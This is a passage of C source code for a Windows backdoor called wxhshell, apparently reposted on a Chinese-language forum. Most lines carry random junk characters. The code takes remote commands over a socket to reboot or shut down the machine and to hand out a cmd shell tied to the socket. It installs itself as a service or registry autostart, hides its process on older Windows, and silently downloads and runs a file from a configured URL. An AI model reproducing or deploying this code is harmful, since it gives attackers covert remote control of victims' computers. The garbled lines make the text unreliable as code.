  @>ONp|}@qI  
  // 帮助 Q^Y>T&Q  
  case '?': { )d>"K`3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n?YGX W/  
    break; @Ys(j$U't  
  } kD >|e<}\  
  // 安装 c)rI[P7Q  
  case 'i': { DJr 8<u  
    if(Install()) WN?!(r<qA_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZI%KM[  
    else Q'7o_[o/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s,]6Lri`\  
    break; ZZ]/9oiF%  
    } :* /<eT_  
  // 卸载 8W[QV  
  case 'r': { dn:g_!]p  
    if(Uninstall()) e&<#8;2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wI#rAx7f-  
    else ;}.jRmnJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Ac0#oX]M  
    break; wZE[we^Q"  
    } 1Q#hanh_`  
  // 显示 wxhshell 所在路径   
  case 'p': { K)_0ej~C  
    char svExeFile[MAX_PATH]; xZGR<+t  
    strcpy(svExeFile,"\n\r"); '+f!(teLz  
      strcat(svExeFile,ExeFile); PcM:0(,G  
        send(wsh,svExeFile,strlen(svExeFile),0); u vc0"g1h  
    break; W=GNo9:  
    } L6r&Y~+/  
  // 重启 Y 0$m~}j  
  case 'b': { 8ENAif   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0b?9LFd  
    if(Boot(REBOOT)) ;=_<\2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0&w;P  
    else { 4JU#3  
    closesocket(wsh); i*.Z~$  
    ExitThread(0); [9[tn -  
    } _~HGMC)  
    break; 5c'rnMW4+p  
    } G U0zlG] C  
  // 关机 $v-lG(  
  case 'd': { qW;nWfkYC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 14s+ &  
    if(Boot(SHUTDOWN)) a[lE9JA;|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kki]6_/n  
    else { ?uk|x!Ko]  
    closesocket(wsh); Fe"0Hp+  
    ExitThread(0); 'G@Npp)&^  
    } }eEF/o  
    break; +&(sZFW5o  
    } Qy0bp;V/  
  // 获取shell gAv?\9=a)W  
  case 's': { ]2h~Db=  
    CmdShell(wsh); d<`Z{"g NS  
    closesocket(wsh); J\m7U  
    ExitThread(0); dH#o11[  
    break; rf1-E57#  
  } JOenVepQ,  
  // 退出 (a&.Ad0{  
  case 'x': { &NHIX(b6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KXicy_@DC`  
    CloseIt(wsh); F'pD_d9]e  
    break; @HIC i]  
    } iOj mj0  
  // 离开 _wZ(%(^I  
  case 'q': { }I05&/o.3p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A n/)|B4  
    closesocket(wsh); V%o:Qa[a  
    WSACleanup(); h=d&@k\g  
    exit(1); qI8{JcFx:  
    break; 7F)HAbIS  
        } o#%2N+w  
  } f\^FUJy  
  } 'hU&$lgMF  
9R'rFI  
  // 提示信息 89'nbg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~l{CUQU  
} 47ir QK*  
  } =]Qu"nRB  
Xps MgJ/w  
  return; A6TNtXk  
} "z@q G]#5  
olK%TM[Y  
// shell模块句柄 mgH4)!Z*56  
int CmdShell(SOCKET sock) //V?rs  
{ Hr96sN.R   
STARTUPINFO si; J~n{gT<L  
ZeroMemory(&si,sizeof(si)); ==UH)o`?8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; If]g6 B.=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a&PoUwG  
PROCESS_INFORMATION ProcessInfo; W!GgtQw{F  
char cmdline[]="cmd"; - Nplx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VpTp*[8O  
  return 0; d:<{!}BR3  
} {%UY1n  
QFDjsd4  
// 自身启动模式 dIIsO{Zqv  
int StartFromService(void) mP3:Fc _G  
{ 3smcCQA%  
typedef struct  BX+-KvT  
{ >q[Elz=dI  
  DWORD ExitStatus; |D`Zi>lv  
  DWORD PebBaseAddress; nCXIWLw  
  DWORD AffinityMask; ]yCmGt+b  
  DWORD BasePriority; [4t_ 83  
  ULONG UniqueProcessId; h1JG^w$ 5  
  ULONG InheritedFromUniqueProcessId; I:AlM ?  
}   PROCESS_BASIC_INFORMATION; G8akMd]2  
:q^g+Bu=  
PROCNTQSIP NtQueryInformationProcess; ;'2y6"\Y  
ZaXK=%z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7m@pdq5Ub  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iK=H9j  
IxgnZX4N  
  HANDLE             hProcess; |wVoJO!O}  
  PROCESS_BASIC_INFORMATION pbi; }Ct_i'Ow  
f,`FbT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CF =#?+x  
  if(NULL == hInst ) return 0; tty 6  
6Y\9h)1Jo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6mMJ$FY+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]<W1edr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  X-~Q  
G0y%_"[  
  if (!NtQueryInformationProcess) return 0; C=%go1! $  
v%86JUlK.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fs>0{  
  if(!hProcess) return 0; ;?h#',(p  
Y6^lKw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OXA_E/F  
5 BcuLRId:  
  CloseHandle(hProcess); .-c3f1i  
= eTI@pN`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i!YZF$|  
if(hProcess==NULL) return 0; >D<nfG<s Z  
{&w%3  
HMODULE hMod; &v3r#$Hj[  
char procName[255]; BQ_\8Qt|  
unsigned long cbNeeded; HRx#}hN?+  
Me5umA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yg2z=&p-{"  
~]c^v'k  
  CloseHandle(hProcess); :M|bw{P*  
LUS7-~:F  
if(strstr(procName,"services")) return 1; // 以服务启动 br$!}7#=L  
:Q$3P+6a  
  return 0; // 注册表启动 3S'V>:  
} Wu.od|t0  
&~||<0m  
// 主模块 X]  Tb4  
int StartWxhshell(LPSTR lpCmdLine) V! "^6)  
{ S)JZ b_  
  SOCKET wsl; .7E-  
BOOL val=TRUE; W,AIE 6F  
  int port=0; !v`q%JW(  
  struct sockaddr_in door; j] M)i:n  
 _%i|*  
  if(wscfg.ws_autoins) Install(); s/Q}fW$ex  
\ov>?5  
port=atoi(lpCmdLine); ,ISq7*%F  
P]dDTh~e~  
if(port<=0) port=wscfg.ws_port; "NC( ^\l/  
r]0o  
  WSADATA data; q. BqOa:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \hNMTj#O  
\O7,CxD2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DgOoEHy[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  tEP^w  
  door.sin_family = AF_INET; vkbB~gr@*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -6t# ?Dkc'  
  door.sin_port = htons(port); /_jApZz  
+H ="5uO<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y=  
closesocket(wsl); ^T^U:Zdq  
return 1;  pLyX9C  
} | G%MiYd  
OQ!mL3f  
  if(listen(wsl,2) == INVALID_SOCKET) { (W@ ypK@  
closesocket(wsl); 39~fP)  
return 1; {-17;M $  
} g08=D$P  
  Wxhshell(wsl); wQ [2yq  
  WSACleanup(); LGod"8~U  
{MYlW0)~  
return 0; g3x192f  
cMK6   
} 3)dT+lZ  
c1:op@t  
// 以NT服务方式启动 L ~ 1Lv?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #3/l4`/j  
{ p}(w"?2  
DWORD   status = 0; >u4uV8S   
  DWORD   specificError = 0xfffffff; tbOe,-U-@  
=1+I<Ljk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xsAF<:S\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qRB%G<H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vZ|-VvG  
  serviceStatus.dwWin32ExitCode     = 0; \nxt\KD  
  serviceStatus.dwServiceSpecificExitCode = 0; p1Lx\   
  serviceStatus.dwCheckPoint       = 0; \ 2".Kb@=  
  serviceStatus.dwWaitHint       = 0; ""WZpaw  
a`|/*{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @)}Vk  
  if (hServiceStatusHandle==0) return; G.oaDGy  
\LM'KD pP_  
status = GetLastError(); & 6}vvgz  
  if (status!=NO_ERROR) K5 w22L^=+  
{ }3?M0:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X.UIFcK^  
    serviceStatus.dwCheckPoint       = 0; K"=v| a.  
    serviceStatus.dwWaitHint       = 0; MuO>O97  
    serviceStatus.dwWin32ExitCode     = status; S2fw"1h*x  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;#Mq=Fr-SG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {[Yv@CpN  
    return; c\;} ov+  
  } J-\b?R a  
.vT'hu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~i  &K,  
  serviceStatus.dwCheckPoint       = 0; m9PcDhv  
  serviceStatus.dwWaitHint       = 0; ~$Mp>ZB2W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /pyKTZ|  
} ; 9'*w=V  
"&2D6  
// 处理NT服务事件,比如:启动、停止 hw1ZTD:Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }xdI{E1 q)  
{ ~ Q]B}qdm  
switch(fdwControl) %[p[F~Z^Z  
{ !P:hf/l[B  
case SERVICE_CONTROL_STOP: s V77WF  
  serviceStatus.dwWin32ExitCode = 0; slPFDBx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qc`_&!*D  
  serviceStatus.dwCheckPoint   = 0; x b_C1n  
  serviceStatus.dwWaitHint     = 0; %b!p{p  
  { nFB;!r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :'rXu6c-  
  } L g%cVSz/C  
  return; M_XZOlW5  
case SERVICE_CONTROL_PAUSE: B2,! 0Re  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MA1,;pv6  
  break; H}}t )H  
case SERVICE_CONTROL_CONTINUE: U2Ur N?T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s*!2oj  
  break; {+r?g J  
case SERVICE_CONTROL_INTERROGATE: WrD20Q$9Q  
  break; z2 dM*NMK  
}; /Fv1Z=:r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +"p" ,Z  
} JT:9"lmJz,  
=)bZSb"<"  
// 标准应用程序主函数 YobIbpo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VvltVYOZA  
{ =ecv;uu2  
|Y])|`_'G  
// 获取操作系统版本 I|`K;a  
OsIsNt=GetOsVer(); i "-#1vy=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fI BLJ53  
,3W a~\/Q  
  // 从命令行安装 Q% dpGI  
  if(strpbrk(lpCmdLine,"iI")) Install(); \]r{73C  
{?j|]j  
  // 下载执行文件 h{h=',o1  
if(wscfg.ws_downexe) { J%[K;WjrZJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (te \!$  
  WinExec(wscfg.ws_filenam,SW_HIDE); n&Al~-Q:^  
} 2>H\arEstR  
f5yd2wKy6  
if(!OsIsNt) { ~pF'Qw" z|  
// 如果时win9x,隐藏进程并且设置为注册表启动 {2q   
HideProc(); "@f`O  
StartWxhshell(lpCmdLine); 5Pr<%}[S^  
} jf%Ydr}`  
else 8F@6^9C  
  if(StartFromService()) ^X_%e|  
  // 以服务方式启动 ~ h:^Q  
  StartServiceCtrlDispatcher(DispatchTable); J,q:  
else t /47lYN)  
  // 普通方式启动 Nh+$'6yT%  
  StartWxhshell(lpCmdLine); {bNnhW*qOu  
T2Vj &EA@  
return 0; =* (d+[_  
}
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只看该作者 1 发表于: 2006-10-10
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